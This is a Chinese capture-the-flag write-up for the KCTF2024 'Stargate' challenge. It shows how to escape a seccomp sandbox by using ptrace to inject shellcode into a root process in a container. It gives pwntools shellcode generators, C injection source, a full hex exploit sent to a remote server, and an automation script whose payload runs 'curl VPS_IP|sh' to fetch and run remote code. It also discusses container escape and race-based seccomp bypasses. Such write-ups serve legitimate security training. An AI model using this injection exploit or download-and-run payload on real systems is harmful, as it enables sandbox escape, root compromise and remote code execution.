KCTF2024 - 星门题解

ptrace绕过seccomp讨论 (手搓shellcode打咩)

比赛link:https://ctf.kanxue.com/game-team_list-20-37.htm
题目link:https://ctf.kanxue.com/game-season_fight-252.htm

TL;DR

ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。

正文

程序分析

开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
图片描述
dump一下沙箱的规则:
图片描述
只允许read, wait4, ptrace

思路

目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。

山穷水尽

题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:

  • 如果docker开启了共享了pid共享(或者低版本docker自带),那可以直接逃逸到宿主机。
  • 如果目标环境内核版本过低,ptrace的优先级低于seccomp。我们就可以用一个允许的syscall number先骗过seccomp,当被ptrace捕获时再修改为实际的syscall number,就可以绕过seccomp

但是本题目环境不存在这两个问题

(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)

柳暗花明

注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。

这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。

容器中的进程有:

  • pid固定为1的entrypoint(/bin/sh start.sh),此时正在wait子进程
  • pid为x的子进程sleep infinity
  • pid为x+1的xinted
  • 连接时xinted产生的pid为y的power

执行流程

自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:

  • ptrace sh的进程,向rip注入shellcode,因为sh在wait子进程所以还不会执行我们注入的shellcode
  • ptrace从2开始遍历,成功trace的第一个进程就为sleep进程
  • ptrace发送ALARM或者KILL之类的信号停掉sleep进程
  • 停止ptrace sh的进程,让其继续执行
  • 此时sh进程就会以root身份,在chroot外执行我们的shellcode

Exp编写

生成第二段shellcode(注入sh执行的shellcode):

1
2
3
4
5
6
from pwn import *
context.arch = 'amd64'

sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
'/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))

生成第一段shellcode(发给程序的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <sys/ptrace.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/resource.h>
#include "pwn.h"
int main() {
pid_t sleep_pid = 2;
struct user_regs_struct regs;
struct rusage usage;
int status;
unsigned long long data[] = { // 刚刚生成的shellcode
0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
};

syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid++;
}
syscall(SYS_wait4, 1, &status, 0, &usage);

syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, &regs);
for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);

syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
return 0;
}

然后编译一下:
gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了

FinalExp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'


p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))
p.close()
p = remote("47.101.191.23", 9999)
p.sendline(b'cat flag')
p.interactive()

后记

关于解法

这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量(JS)不知道是不是预期解

版主回复说在预期内,可以打通之后删flag防蹭车

然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ

shellcode自动化

因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:

from pwn import *
context.arch = 'amd64'

c_template = '''  // 上边贴过的C代码
#include <sys/ptrace.h>
...
int _start() {
  ...
  unsigned long long data[] = {
     SHELLCODE
  };

  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  ...
  return 0;
}
'''
sc = asm(shellcraft.execve('/bin/sh', [
    '/bin/sh', '-c',
    """apt install -y curl; curl VPS_IP|sh ; sleep 5"""
], 0) + '\njmp $+0')

shellcode_u64 = ', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)])
c_template = c_template.replace('SHELLCODE', shellcode_u64)
with open('1.c', 'w') as f:
    f.write(c_template)
os.system('gcc 1.c --static -nostdlib')
os.system('objcopy --dump-section .text=dmp a.out')
with open('dmp', 'rb') as f:
    sc = f.read()
    assert len(sc) < 0x1000
    p = remote("127.0.0.1", 9999)  # 47.101.191.23
    p.send(bytes.fromhex('eb44') + sc)
    p.interactive()

第四种ptrace逃逸seccomp的方法

已知ptrace可以做的三件好事:

此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)


root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope设置为0,非root用户就能trace本用户的所有进程。

题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:

  • 从一个比较大的值如3000开始向下遍历pid,直到attach到自己
  • 开始ptrace轮询尝试附加到pid+1的进程
  • 开启下一个连接

虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:

  • A: 修改ax为一个非prctl系统调用,让沙盒失效
  • B: 直接注入shellcode,让该链接返回一个shell

然而,docker中的/proc/sys/kernel/yama/ptrace_scope随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。

作者

Frank Wu

发布于

2024-09-05

更新于

2024-09-06

许可协议